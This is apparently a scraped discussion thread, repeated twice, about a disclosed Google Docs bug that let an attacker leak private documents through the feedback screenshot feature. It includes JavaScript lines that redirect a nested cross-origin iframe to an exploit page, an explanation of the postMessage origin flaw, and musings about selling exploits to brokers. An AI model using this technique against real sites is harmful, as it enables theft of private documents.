26 ms·

Stealing private documents through a bug in Google Docs

319 points by hackerpain 6y ago

paulmendoza 6y ago
Google should have awarded a much larger value to this. Like $100k. This is a serious flaw.
- hanniabu 6y ago
  > Google rewarded $3133.7 for this bug under their VRP program. It's a pretty odd amount too. I'm curious how they arrive at that number.
  - tziki 6y ago
    I think someone tried to be cute by having '1337' in the sum. If the figure wasn't so insultingly low it would've been fun.
  - esprehn 6y ago
    It's an old hacker reference to "eleet": https://en.m.wikipedia.org/wiki/Leet https://en.m.wikipedia.org/wiki/Leet
    - diveanon 6y ago
      Google is hopelessly out of touch and tone def.
  - deleted 6y ago
    [deleted]
  - hackerpain 6y ago
    Google VRP team has a tradition to reward 4 figure and 5 figure amounts to match 1337 or, L33T (Leet or, Elite). Example bounty amounts - $1337, $3133.7, $13337 and $31337
  - paranorman 6y ago
    The 1337 could be a nod to gamer culture because it stands for “leet” and may be popular with the folks who participate in bug bounties. Pure speculation on my part here. EDIT: yep, looks like I missed all the other comments pointing this out, mobile app didn’t load them for some reason. Leaving the comment anyway.
    - zackkitzmiller 6y ago
      Just to expand on this a bit, 31337 goes waay back. Before 'gamer culture' was a thing, and was popular enough to where it got mentions in the 1995 movie Hackers. I vividly remember BBS and IRC handles with variations of 31337 in them in the 80s. I'm sure it goes back even farther.
- deleted 6y ago
  [deleted]
- hackerpain 6y ago
  this one technically requires some user interaction Anyway, in the past I found a way to takeover an organization account in Google cloud acquisition and they rewarded me $100, saying their "Panel" decided that, Google's VRP panel sucks, so you're right about that.
  - wolco2 6y ago
    I would stop sending these in and keep them for myself. I may trade them or sell them or write about but I wouldn't give them to google in the hopes of a payment.
    - hackerpain 6y ago
      I am sorry but that can ruin your career as its illegal. You can't sell or, trade vulnerabilities on live websites like Google as per the terms and conditions of the Google VRP (Responsible Disclosure policy) while it may seem unfair, its illegal to do so.
      - traceddd 6y ago
        It’s not illegal, criminally, to break terms and conditions. At least in the US. You may have some impact on your career and be judged by your peers or perhaps brought to civil court for damages, but if done right it’s totally legal to sell exploits.
- ffpip 6y ago
  Do you seriously expect them to pay $100k for a decently serious bug in only one of their products? In comparison, Apple paid 100k [0] for a full account takeover, using an bug so simple that it is unbelievable that it could have passed a code review and testing. [0]- https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-apple/ https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-a...
  - clarkevans 6y ago
    Perhaps it shouldn't be Google paying for the security reports, but the government... who then would need the statutory authority to fine Google for a very handsome profit?
  - sneak 6y ago
    Yes, $100k is not a lot of money for an issue like this. It's also not a lot of money in Google's security budget. Apple's payout seems rather low to me. If I had a vuln like that and knew they were only paying $100k, I would probably seek to monetize it elsewhere. $3k is almost insulting for something like this, given Google's scale. $31,337 might be more appropriate to at least avoid insult.
    - ffpip 6y ago
      > Yes, $100k is not a lot of money for an issue like this. Requiring rare user action and document URL? Sure. Live in your bounty bubble. > If I had a vuln like that and knew they were only paying $100k, I would probably seek to monetize it elsewhere. But you don't. The person exploiting it knows how much it is worth. > $3k is almost insulting for something like this Not for you to decide. He accepted it, meaning it's not insulting.
- shawnz 6y ago
  What makes you say this is a serious flaw? It seems pretty minor to me. The page would have to be embedded (so the URL would be obviously wrong) and it requires several steps of manual user action with an uncommonly used feature (the feedback form) just to exfiltrate a tiny amount of data (the iframe viewport)
  - wolco2 6y ago
    Minor? Depends on if you use the private doc feature and what lawsuits may follow. One of them will cost more than the bounty just to look at.
    - Sirened 6y ago
      Right, but you'd somehow need to not only get your hands on the URL of a private doc but then inexplicably convince them to use the "send feedback" feature on that same private doc. This is a neat bug, don't get me wrong, but I don't think this is even something most would consider exploitable. IMO this is equally exploitable as telling the victim to hit the button labeled "PrntScr" on their keyboard and then hit Control-V/
  - yonixw 6y ago
    I don't really know but maybe if you insert URL of <Clone Document> so the user clone some well-crafted Document, this document may access some other documents and a screenshot may leak them. It only a possibility but usually once you have the XSS puzzle piece, getting the data may be as trivial as some JS code
  - Decker87 6y ago
    Right, but the potential surface area - basically all docs including private ones - is absolutely huge. Preventing this from happening even once it's worth more than 100k IMO.
    - mattzito 6y ago
      (googler here, uninvolved with this bug though) It also requires that the user know the document ID- so they would have to identify a document that they want access to, get the ID of that document, embed the document in a website that they can present to a user that DOES have access to that document (which they would be unable to know from the document itself, because the ACLs are only visible to people with view access), and then get them to click submit feedback. I'll defer to others with more familiarity with bug bounties about the payout appropriateness, not my area of expertise, but it does seem like this would be a very difficult bug to exploit
konschubert 6y ago
Client-side encryption really decreases the attack surfaces of cloud storage solutions. It’s really sad that Keybase failed at building a business around this. Hopefully someone else is going to make another attempt.
- ianopolous 6y ago
  We're making an attempt with Peergos.
  - capableweb 6y ago
    Not sure how Peergos is a relevant alternative to Keybase? Maybe you're just thinking of the file sharing aspect of Keybase? Keybase as it's core was that it's a key directory that's publicly auditable. Everyone could verify the chain of verification of each other in Keybase. On top of that infrastructure, files and chat was added. Peergos doesn't seem to show any chains or in fact auditable information at all. You can add/remove friends that is supposedly cryptographically verified, but there is no information about it, nor is there any information about where the data is actually stored, how you can get it to your local machine, how to re-verify the claims, how to add devices that have access.
    - ianopolous 6y ago
      There is a public append-only merkle-tree with all identities published in it in an analogous way to certificate transparency. When you add a friend you are looking them up in this tree and then storing their public key chain in your own (private) storage in a tofu manner (then any key changes they make are verified against your local copy). You can also verify keys in person using the same protocol as Signal (via QR codes or number groups). There are no private keys stored on any devices, so adding devices is not a thing. It is a pure capability based system. Unlike keybase, we are fully open source and self-hostable. There are a lot more details in our booklet- https://book.peergos.org https://book.peergos.org
- Triv888 6y ago
  > Client-side encryption really decreases the attack surfaces of cloud storage solutions. They should rename end-to-end encryption to client-side encryption or something else because it is not very clear what it means
xyst 6y ago
This was a bug that affected multiple products and even crossed into the enterprise suite and google only rewarded $3.3K USD? It’s almost as bad as Apple’s reward program
- deleted 6y ago
  [deleted]
- gruez 6y ago
  >It’s almost as bad as Apple’s reward program Or most/all bug bounty programs, actually.
  - julianlam 6y ago
    I hear this refrain often, and it is of course never followed up with a solution. What would you suggest, a bounty calculated via a multiple of company stock price?
    - throwaway2048 6y ago
      I think its pretty obvious the solution to "not paid enough money" is "pay more money"
      - rtx 6y ago
        How should the price be discovered.
        kreeben 6y ago
        while (recipient_is_unhappy_with_amount) { amount *= 3.14; }
        vermilingua 6y ago
        That’s an effective way for recipients to always be “unhappy” with the bounty.
twiss 6y ago
The most surprising part to me is that this works: window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; It's expected to me that you can change `window.frames[0].location`, since you can also change the "src" attribute of the iframe element. But you can't change the "src" attribute of an iframe inside that iframe, if it's not same-origin - so why can you change its location? Maybe we should look into whether changing this would break any websites.
- ape4 6y ago
  I agree this, seems wrong. Does it work in all browsers?
  - twiss 6y ago
    It seems there's a typo in the quote, but the following indeed works in both Chrome and Firefox: window.frames[0].frames[2].location = "https://example.com"; Even if `window.frames[0]` is cross-origin.
  - jandem 6y ago
    This behavior is defined in the HTML spec, here: https://html.spec.whatwg.org/multipage/browsers.html#crossoriginproperties-(-o-) https://html.spec.whatwg.org/multipage/browsers.html#crossor...
- hackerpain 6y ago
  docs.google.com didn't have X-Frame-Options: DENY nor a restrictive CSP so I think its a browser quirk (rather, a clever bypass) that works here. Also, the author had exploited a postMessage flaw which wasn't validating the host name properly that led to the cross-origin leak of screenshot data Check this out https://youtu.be/KpkrTUHoWsQ https://youtu.be/KpkrTUHoWsQ (video about URL validation bypass and SOP)
  - twiss 6y ago
    The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work: document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html"; For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works: window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";
diveanon 6y ago
To the people publishing these exploits and collecting the trivial bounties. Hats off to you, no idea why you wouldn't just sell this off considering how poorly your honesty is rewarded.
- Jabbles 6y ago
  Fun? Integrity? Professionalism? The fact that there isn't a market for these kinds of bugs?
  - eganist 6y ago
    https://zerodium.com/program.html https://zerodium.com/program.html Google's SaaS apps aren't specifically in scope, but I'm not seeing exclusions, and I'm seeing potential parallel programs ("sensitive information disclosure: - MS Office (Word/Excel)") that could imply that they'd be comfortable buying SaaS Productivity Suite exploits as well. I'm not OP. I'm only presenting this to counter the assertion that there's no market.
- fireattack 6y ago
  > why you wouldn't just sell this off Wouldn't it be immoral if not straight up illegal?
  - NeutronStar 6y ago
    Are lock picking tools illegal?
  - judge2020 6y ago
    Illegal, including the logistics of selling it to shady/nation state actors. You can't just put a craigslist ad out for "selling google docs exploit" and expect them to reach out to you, if you don't already have contacts in the game you're probably not going to find a place to sell it (and then you might have issues receiving the money if you're US-based). The only grey area where you could really sell an exploit is something like zerodium https://zerodium.com/program.html https://zerodium.com/program.html
mettamage 6y ago
Curious question, if you find a few vulnerabilities like this, does it mean that you could get hired by Google to do this internally? What I'm trying to ask is: does this make the hiring process easier?
- wolco2 6y ago
  No and if it came up it would work against you. It means you are working for basically free for Google at least you can put it on your resume although that might work against you.
- googlesecthrow 6y ago
  It definitely can help. In my experience, finding these kinds of bugs can help you get the interview, but it doesn't necessarily help that much once you get to the interview since the interview process is still standardized and focuses on evaluating you across a number of different areas (not just vulnerability research). But it definitely helps get some good attention! Disclosure: I work at Google on their security team and reported a number of bugs to their VRP before I got hired.
- rasz 6y ago
  Sure, you could get hired like anybody else after passing week long string of whiteboard exams. Start dropping zero days on twitter if you really want to get hired: https://nakedsecurity.sophos.com/2019/06/13/microsofts-battle-with-sandboxescaper-zero-days-turns-into-grim-groundhog-day/ https://nakedsecurity.sophos.com/2019/06/13/microsofts-battl... wah wah bad person publishing zero days wah wah Irresponsible disclosure hurts everyone. wah wah reality: https://krebsonsecurity.com/2020/04/microsoft-patch-tuesday-april-2020-edition/ https://krebsonsecurity.com/2020/04/microsoft-patch-tuesday-... got hired @Microsoft, started fixing other bugs they didnt know they had
- Sirened 6y ago
  I've gotten hired because of vulnerability reports. It helped skip a lot of the "convince me that you know what you're doing" phase of interviews and it was then mostly just social/team fit!
BlackPlot 6y ago
TBO not surprised at all Gdocs had an issue
stevespang 6y ago
Congrats on Google awarding you Google rewarded $3133.70 for finding this bug
random5634 6y ago
Good lord, $3K for this? These companies give two craps about security.
jackconsidine 6y ago
A few years ago, I built a platform for a client that allowed his customers to show a "Text Me" widget on their websites; the software handled all of the SMS / messaging and basically substituted conventional contact form or Intercom integration. His customers used Google AdSense, who started blocking them until they removed the widget. The reason? This widget used an Iframe postMessage, but appropriately specified the singular sandboxed domain. As expected, we never were able to speak with a human at Google- they just sent my clients customers intimidating emails about a security flaw on their websites. Seeing Google abuse the postMessage API with a wildcard argument after this fiasco is maddening! If only they were held to their own arbitrary and vague standards.
- twiss 6y ago
  Myeah. Here is another example of Google misunderstanding postMessage and mistaking a vulnerability in a website for a vulnerability in a competing "Chromodo" browser, and making a big fuss about it: https://code.google.com/p/google-security-research/issues/detail?id=704 https://code.google.com/p/google-security-research/issues/de... (https://news.ycombinator.com/item?id=11023584 https://news.ycombinator.com/item?id=11023584)
  - Thorrez 6y ago
    It doesn't look like that to me. There's a exploit demo here[1]. If the exploit worked in Chrome or Firefox as well as Chromodo, that would clearly indicate the problem is with the website, not with Chromodo. I find it hard to believe that no one at Google or Comodo would test the exploit page in Chrome or Firefox. There's discussion on the original bug and here[2] that Comodo did push out a fix, and it sure sounds like that was a fix to Chromodo. Secondly, looking at the exploit demo, it looks like it does 2 postMessage()s, once in each direction, both using execCode. If it was a vulnerability purely in https://ssl.comodo.com https://ssl.comodo.com the 2nd postMessage() looks like it would fail, because there isn't any code around to receive it. Thirdly, looking at the exploit demo, it has a text box with which you can specify which site you want to attack. So you could change that to https://google.com https://google.com or https://news.ycombinator.com https://news.ycombinator.com . If the exploit only worked against a single site, it wouldn't make sense to provide a text box allowing you to change which site to attack. Taviso's description is a bit misleading. It doesn't sound like the action that Comodo took is to directly disable the same origin policy, but rather to provide an API with which attackers can bypass the same origin policy. From a security perspective that does effectively disable the same origin policy, but from an attack understanding point of view, it's a bit different. Full disclosure, I work at Google, but not on Project Zero. [1] https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=225988 https://bugs.chromium.org/p/project-zero/issues/attachmentTe... [2] https://bugs.chromium.org/p/project-zero/issues/detail?id=713 https://bugs.chromium.org/p/project-zero/issues/detail?id=71...
Geeky-cat 6y ago
Thanks for going through the write-up. As an author of the bug,considering the the impact, user interaction required and other criteria that need to line up to exploit this bug I feel Google VRP's decision on this bug is accurate.
deleted 6y ago
[deleted]

319 points by hackerpain 6y ago

paulmendoza 6y ago

Google should have awarded a much larger value to this. Like $100k. This is a serious flaw.

hanniabu 6y ago
> Google rewarded $3133.7 for this bug under their VRP program. It's a pretty odd amount too. I'm curious how they arrive at that number.
- tziki 6y ago
  I think someone tried to be cute by having '1337' in the sum. If the figure wasn't so insultingly low it would've been fun.
- esprehn 6y ago
  It's an old hacker reference to "eleet": https://en.m.wikipedia.org/wiki/Leet https://en.m.wikipedia.org/wiki/Leet
  - diveanon 6y ago
    Google is hopelessly out of touch and tone def.
- deleted 6y ago
  [deleted]
- hackerpain 6y ago
  Google VRP team has a tradition to reward 4 figure and 5 figure amounts to match 1337 or, L33T (Leet or, Elite). Example bounty amounts - $1337, $3133.7, $13337 and $31337
- paranorman 6y ago
  The 1337 could be a nod to gamer culture because it stands for “leet” and may be popular with the folks who participate in bug bounties. Pure speculation on my part here. EDIT: yep, looks like I missed all the other comments pointing this out, mobile app didn’t load them for some reason. Leaving the comment anyway.
  - zackkitzmiller 6y ago
    Just to expand on this a bit, 31337 goes waay back. Before 'gamer culture' was a thing, and was popular enough to where it got mentions in the 1995 movie Hackers. I vividly remember BBS and IRC handles with variations of 31337 in them in the 80s. I'm sure it goes back even farther.
deleted 6y ago
[deleted]
hackerpain 6y ago
this one technically requires some user interaction Anyway, in the past I found a way to takeover an organization account in Google cloud acquisition and they rewarded me $100, saying their "Panel" decided that, Google's VRP panel sucks, so you're right about that.
- wolco2 6y ago
  I would stop sending these in and keep them for myself. I may trade them or sell them or write about but I wouldn't give them to google in the hopes of a payment.
  - hackerpain 6y ago
    I am sorry but that can ruin your career as its illegal. You can't sell or, trade vulnerabilities on live websites like Google as per the terms and conditions of the Google VRP (Responsible Disclosure policy) while it may seem unfair, its illegal to do so.
    - traceddd 6y ago
      It’s not illegal, criminally, to break terms and conditions. At least in the US. You may have some impact on your career and be judged by your peers or perhaps brought to civil court for damages, but if done right it’s totally legal to sell exploits.
ffpip 6y ago
Do you seriously expect them to pay $100k for a decently serious bug in only one of their products? In comparison, Apple paid 100k [0] for a full account takeover, using an bug so simple that it is unbelievable that it could have passed a code review and testing. [0]- https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-apple/ https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-a...
- clarkevans 6y ago
  Perhaps it shouldn't be Google paying for the security reports, but the government... who then would need the statutory authority to fine Google for a very handsome profit?
- sneak 6y ago
  Yes, $100k is not a lot of money for an issue like this. It's also not a lot of money in Google's security budget. Apple's payout seems rather low to me. If I had a vuln like that and knew they were only paying $100k, I would probably seek to monetize it elsewhere. $3k is almost insulting for something like this, given Google's scale. $31,337 might be more appropriate to at least avoid insult.
  - ffpip 6y ago
    > Yes, $100k is not a lot of money for an issue like this. Requiring rare user action and document URL? Sure. Live in your bounty bubble. > If I had a vuln like that and knew they were only paying $100k, I would probably seek to monetize it elsewhere. But you don't. The person exploiting it knows how much it is worth. > $3k is almost insulting for something like this Not for you to decide. He accepted it, meaning it's not insulting.
shawnz 6y ago
What makes you say this is a serious flaw? It seems pretty minor to me. The page would have to be embedded (so the URL would be obviously wrong) and it requires several steps of manual user action with an uncommonly used feature (the feedback form) just to exfiltrate a tiny amount of data (the iframe viewport)
- wolco2 6y ago
  Minor? Depends on if you use the private doc feature and what lawsuits may follow. One of them will cost more than the bounty just to look at.
  - Sirened 6y ago
    Right, but you'd somehow need to not only get your hands on the URL of a private doc but then inexplicably convince them to use the "send feedback" feature on that same private doc. This is a neat bug, don't get me wrong, but I don't think this is even something most would consider exploitable. IMO this is equally exploitable as telling the victim to hit the button labeled "PrntScr" on their keyboard and then hit Control-V/
- yonixw 6y ago
  I don't really know but maybe if you insert URL of <Clone Document> so the user clone some well-crafted Document, this document may access some other documents and a screenshot may leak them. It only a possibility but usually once you have the XSS puzzle piece, getting the data may be as trivial as some JS code
- Decker87 6y ago
  Right, but the potential surface area - basically all docs including private ones - is absolutely huge. Preventing this from happening even once it's worth more than 100k IMO.
  - mattzito 6y ago
    (googler here, uninvolved with this bug though) It also requires that the user know the document ID- so they would have to identify a document that they want access to, get the ID of that document, embed the document in a website that they can present to a user that DOES have access to that document (which they would be unable to know from the document itself, because the ACLs are only visible to people with view access), and then get them to click submit feedback. I'll defer to others with more familiarity with bug bounties about the payout appropriateness, not my area of expertise, but it does seem like this would be a very difficult bug to exploit

konschubert 6y ago

Client-side encryption really decreases the attack surfaces of cloud storage solutions. It’s really sad that Keybase failed at building a business around this. Hopefully someone else is going to make another attempt.

ianopolous 6y ago
We're making an attempt with Peergos.
- capableweb 6y ago
  Not sure how Peergos is a relevant alternative to Keybase? Maybe you're just thinking of the file sharing aspect of Keybase? Keybase as it's core was that it's a key directory that's publicly auditable. Everyone could verify the chain of verification of each other in Keybase. On top of that infrastructure, files and chat was added. Peergos doesn't seem to show any chains or in fact auditable information at all. You can add/remove friends that is supposedly cryptographically verified, but there is no information about it, nor is there any information about where the data is actually stored, how you can get it to your local machine, how to re-verify the claims, how to add devices that have access.
  - ianopolous 6y ago
    There is a public append-only merkle-tree with all identities published in it in an analogous way to certificate transparency. When you add a friend you are looking them up in this tree and then storing their public key chain in your own (private) storage in a tofu manner (then any key changes they make are verified against your local copy). You can also verify keys in person using the same protocol as Signal (via QR codes or number groups). There are no private keys stored on any devices, so adding devices is not a thing. It is a pure capability based system. Unlike keybase, we are fully open source and self-hostable. There are a lot more details in our booklet- https://book.peergos.org https://book.peergos.org
Triv888 6y ago
> Client-side encryption really decreases the attack surfaces of cloud storage solutions. They should rename end-to-end encryption to client-side encryption or something else because it is not very clear what it means

xyst 6y ago

This was a bug that affected multiple products and even crossed into the enterprise suite and google only rewarded $3.3K USD? It’s almost as bad as Apple’s reward program

deleted 6y ago
[deleted]
gruez 6y ago
>It’s almost as bad as Apple’s reward program Or most/all bug bounty programs, actually.
- julianlam 6y ago
  I hear this refrain often, and it is of course never followed up with a solution. What would you suggest, a bounty calculated via a multiple of company stock price?
  - throwaway2048 6y ago
    I think its pretty obvious the solution to "not paid enough money" is "pay more money"
    - rtx 6y ago
      How should the price be discovered.
      - kreeben 6y ago
        while (recipient_is_unhappy_with_amount) { amount *= 3.14; }
        vermilingua 6y ago
        That’s an effective way for recipients to always be “unhappy” with the bounty.

twiss 6y ago

The most surprising part to me is that this works: window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; It's expected to me that you can change `window.frames[0].location`, since you can also change the "src" attribute of the iframe element. But you can't change the "src" attribute of an iframe inside that iframe, if it's not same-origin - so why can you change its location? Maybe we should look into whether changing this would break any websites.

ape4 6y ago
I agree this, seems wrong. Does it work in all browsers?
- twiss 6y ago
  It seems there's a typo in the quote, but the following indeed works in both Chrome and Firefox: window.frames[0].frames[2].location = "https://example.com"; Even if `window.frames[0]` is cross-origin.
- jandem 6y ago
  This behavior is defined in the HTML spec, here: https://html.spec.whatwg.org/multipage/browsers.html#crossoriginproperties-(-o-) https://html.spec.whatwg.org/multipage/browsers.html#crossor...
hackerpain 6y ago
docs.google.com didn't have X-Frame-Options: DENY nor a restrictive CSP so I think its a browser quirk (rather, a clever bypass) that works here. Also, the author had exploited a postMessage flaw which wasn't validating the host name properly that led to the cross-origin leak of screenshot data Check this out https://youtu.be/KpkrTUHoWsQ https://youtu.be/KpkrTUHoWsQ (video about URL validation bypass and SOP)
- twiss 6y ago
  The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work: document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html"; For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works: window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";

diveanon 6y ago

To the people publishing these exploits and collecting the trivial bounties. Hats off to you, no idea why you wouldn't just sell this off considering how poorly your honesty is rewarded.

Jabbles 6y ago
Fun? Integrity? Professionalism? The fact that there isn't a market for these kinds of bugs?
- eganist 6y ago
  https://zerodium.com/program.html https://zerodium.com/program.html Google's SaaS apps aren't specifically in scope, but I'm not seeing exclusions, and I'm seeing potential parallel programs ("sensitive information disclosure: - MS Office (Word/Excel)") that could imply that they'd be comfortable buying SaaS Productivity Suite exploits as well. I'm not OP. I'm only presenting this to counter the assertion that there's no market.
fireattack 6y ago
> why you wouldn't just sell this off Wouldn't it be immoral if not straight up illegal?
- NeutronStar 6y ago
  Are lock picking tools illegal?
- judge2020 6y ago
  Illegal, including the logistics of selling it to shady/nation state actors. You can't just put a craigslist ad out for "selling google docs exploit" and expect them to reach out to you, if you don't already have contacts in the game you're probably not going to find a place to sell it (and then you might have issues receiving the money if you're US-based). The only grey area where you could really sell an exploit is something like zerodium https://zerodium.com/program.html https://zerodium.com/program.html

mettamage 6y ago

Curious question, if you find a few vulnerabilities like this, does it mean that you could get hired by Google to do this internally? What I'm trying to ask is: does this make the hiring process easier?

wolco2 6y ago
No and if it came up it would work against you. It means you are working for basically free for Google at least you can put it on your resume although that might work against you.
googlesecthrow 6y ago
It definitely can help. In my experience, finding these kinds of bugs can help you get the interview, but it doesn't necessarily help that much once you get to the interview since the interview process is still standardized and focuses on evaluating you across a number of different areas (not just vulnerability research). But it definitely helps get some good attention! Disclosure: I work at Google on their security team and reported a number of bugs to their VRP before I got hired.
rasz 6y ago
Sure, you could get hired like anybody else after passing week long string of whiteboard exams. Start dropping zero days on twitter if you really want to get hired: https://nakedsecurity.sophos.com/2019/06/13/microsofts-battle-with-sandboxescaper-zero-days-turns-into-grim-groundhog-day/ https://nakedsecurity.sophos.com/2019/06/13/microsofts-battl... wah wah bad person publishing zero days wah wah Irresponsible disclosure hurts everyone. wah wah reality: https://krebsonsecurity.com/2020/04/microsoft-patch-tuesday-april-2020-edition/ https://krebsonsecurity.com/2020/04/microsoft-patch-tuesday-... got hired @Microsoft, started fixing other bugs they didnt know they had
Sirened 6y ago
I've gotten hired because of vulnerability reports. It helped skip a lot of the "convince me that you know what you're doing" phase of interviews and it was then mostly just social/team fit!

BlackPlot 6y ago

TBO not surprised at all Gdocs had an issue

stevespang 6y ago

Congrats on Google awarding you Google rewarded $3133.70 for finding this bug

random5634 6y ago

Good lord, $3K for this? These companies give two craps about security.

jackconsidine 6y ago

A few years ago, I built a platform for a client that allowed his customers to show a "Text Me" widget on their websites; the software handled all of the SMS / messaging and basically substituted conventional contact form or Intercom integration. His customers used Google AdSense, who started blocking them until they removed the widget. The reason? This widget used an Iframe postMessage, but appropriately specified the singular sandboxed domain. As expected, we never were able to speak with a human at Google- they just sent my clients customers intimidating emails about a security flaw on their websites. Seeing Google abuse the postMessage API with a wildcard argument after this fiasco is maddening! If only they were held to their own arbitrary and vague standards.

twiss 6y ago
Myeah. Here is another example of Google misunderstanding postMessage and mistaking a vulnerability in a website for a vulnerability in a competing "Chromodo" browser, and making a big fuss about it: https://code.google.com/p/google-security-research/issues/detail?id=704 https://code.google.com/p/google-security-research/issues/de... (https://news.ycombinator.com/item?id=11023584 https://news.ycombinator.com/item?id=11023584)
- Thorrez 6y ago
  It doesn't look like that to me. There's a exploit demo here[1]. If the exploit worked in Chrome or Firefox as well as Chromodo, that would clearly indicate the problem is with the website, not with Chromodo. I find it hard to believe that no one at Google or Comodo would test the exploit page in Chrome or Firefox. There's discussion on the original bug and here[2] that Comodo did push out a fix, and it sure sounds like that was a fix to Chromodo. Secondly, looking at the exploit demo, it looks like it does 2 postMessage()s, once in each direction, both using execCode. If it was a vulnerability purely in https://ssl.comodo.com https://ssl.comodo.com the 2nd postMessage() looks like it would fail, because there isn't any code around to receive it. Thirdly, looking at the exploit demo, it has a text box with which you can specify which site you want to attack. So you could change that to https://google.com https://google.com or https://news.ycombinator.com https://news.ycombinator.com . If the exploit only worked against a single site, it wouldn't make sense to provide a text box allowing you to change which site to attack. Taviso's description is a bit misleading. It doesn't sound like the action that Comodo took is to directly disable the same origin policy, but rather to provide an API with which attackers can bypass the same origin policy. From a security perspective that does effectively disable the same origin policy, but from an attack understanding point of view, it's a bit different. Full disclosure, I work at Google, but not on Project Zero. [1] https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=225988 https://bugs.chromium.org/p/project-zero/issues/attachmentTe... [2] https://bugs.chromium.org/p/project-zero/issues/detail?id=713 https://bugs.chromium.org/p/project-zero/issues/detail?id=71...

Geeky-cat 6y ago

Thanks for going through the write-up. As an author of the bug,considering the the impact, user interaction required and other criteria that need to line up to exploit this bug I feel Google VRP's decision on this bug is accurate.

deleted 6y ago

[deleted]